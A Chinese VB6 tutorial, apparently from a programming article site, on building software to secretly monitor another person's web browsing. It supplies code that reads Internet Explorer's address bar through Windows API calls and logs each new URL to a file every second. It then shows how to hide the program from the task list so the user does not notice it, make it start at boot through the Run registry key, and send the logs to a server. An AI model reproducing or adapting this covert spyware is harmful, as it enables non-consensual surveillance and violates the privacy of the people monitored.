一个用VB编写的监控别人上网的软件例子

类别:VB语言 点击:0 评论:0 推荐:
一、程序核心

  本程序的核心是通过API函数获得窗口句柄并获得浏览器访问的网址,在此基础上可以实现用Winsock控件进行远程的监视和管理。

  1.先创建一个工程并在窗口Form1中,并声明下面的四个API函数和两个常量:

  Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String, ByVal lpWindowName As String) As Long

  ′Findwindow函数的功能是找到当前运行的IE窗口的url地址的句柄

  Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long

  ′SendMessage函数的功能是向操作系统发送一条消息

  Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long,ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

  ′FindwindowEx函数的功能是找到子窗体的句柄

  Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long

  Private Const WM_GETTEXT = &HD

  Private Const WM_GETTEXTLENGTH = &HE

  2.在窗体上添加Command控件,并命名为GetURLstring,单击此命令按钮,并为其添加下面的程序代码:

  Private Sub GetURLstring_Click()

  On Error GoTo CallErrorA

  Dim sClassName As String ′设定一个字符串变量,是类变量

  Dim lhwnd As Long ′设定一个长整形变量用来接收函数返回值

  Dim WindowHandle As Long ′设定一个长整形变量用来接收函数的返回句柄

  lhwnd = 0

  sClassName = (″IEFrame″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得URL地址栏的句柄,获得IE窗口的句柄

  sClassName = (″WorkerA″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的工作区的句柄

  sClassName = (″ReBarWindow32″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的菜单栏的句柄

  sClassName = (″ComboBoxEx32″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的下拉菜单的句柄

  sClassName = (″ComboBox″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得IE窗口的下拉菜单当前项的句柄

  sClassName = (″Edit″)

  lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′获得这个下拉菜单的编辑框句柄

  WindowHandle = lhwnd ′接收当前我们想要的句柄

  Dim buffer As String ′设定字符串变量接收当前的字符串

  Dim TextLength As Long ′设定长整形变量接收字符串的长度

  TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) ′向系统发送获得IE窗口的地址栏中的字符串长度命令

  buffer = String(TextLength, 0) ′

  Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) ′向系统发送获得IE窗体地址栏中的字符串命令

  If buffer = ″″ Then

  MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, vbOKOnly

  Else

  MsgBox buffer ′IE运行时显示当前网址

  End If

  Exit Sub

  CallErrorA:

  MsgBox Err.Description

  Err.Clear

  End Sub

  二、添加定时保存功能

  我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。

  1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:

  Private Sub Timer1_Timer()

  GetURLstring_Click

  End Sub

  2. 在窗体代码开始的声明部分定义变量curUrl

  Dim curUrl As String

  3.用文件操作函数把Buffer变量中的字符串写进磁盘文件中,添加代码如下

  Private Sub Form_Load()

  Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打开一个文件End Sub

  Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

  Close #1 ′关闭开始打开的文件

  End Sub

  并把GetURLstring_Click()中的如下部分

  If buffer = ″″ Then

  MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, vbOKOnly

  Else

  MsgBox buffer ′IE运行时显示当前网址

  End If

  改为如下代码:

  If buffer <> ″″ And buffer <> curUrl Then

  Write #1, Now & vbTab & buffer

  curUrl = buffer

  End If

  三、隐蔽运行

  为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:

  1.在窗体的声明部分声明加入API函数和需要的常数:

  Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long

  Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long

  Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long

  Private Const RSP_SIMPLE_SERVICE = 1

  Private Const RSP_UNREGISTER_SERVICE = 0

  2.注册为service和释放注册的过程:

  在Form_Load事件的开始添加如下代码

  Dim pid As Long

  Dim reserv As Long

  pid = GetCurrentProcessId() ′得到当前进程ID

  regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注册为service

  把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消

  Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

  Dim pid As Long

  Dim reserv As Long

  Close #1

  pid = GetCurrentProcessId()

  regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)

  End Sub

  如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件名(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。

本文地址:http://com.8s8s.com/it/it6719.htm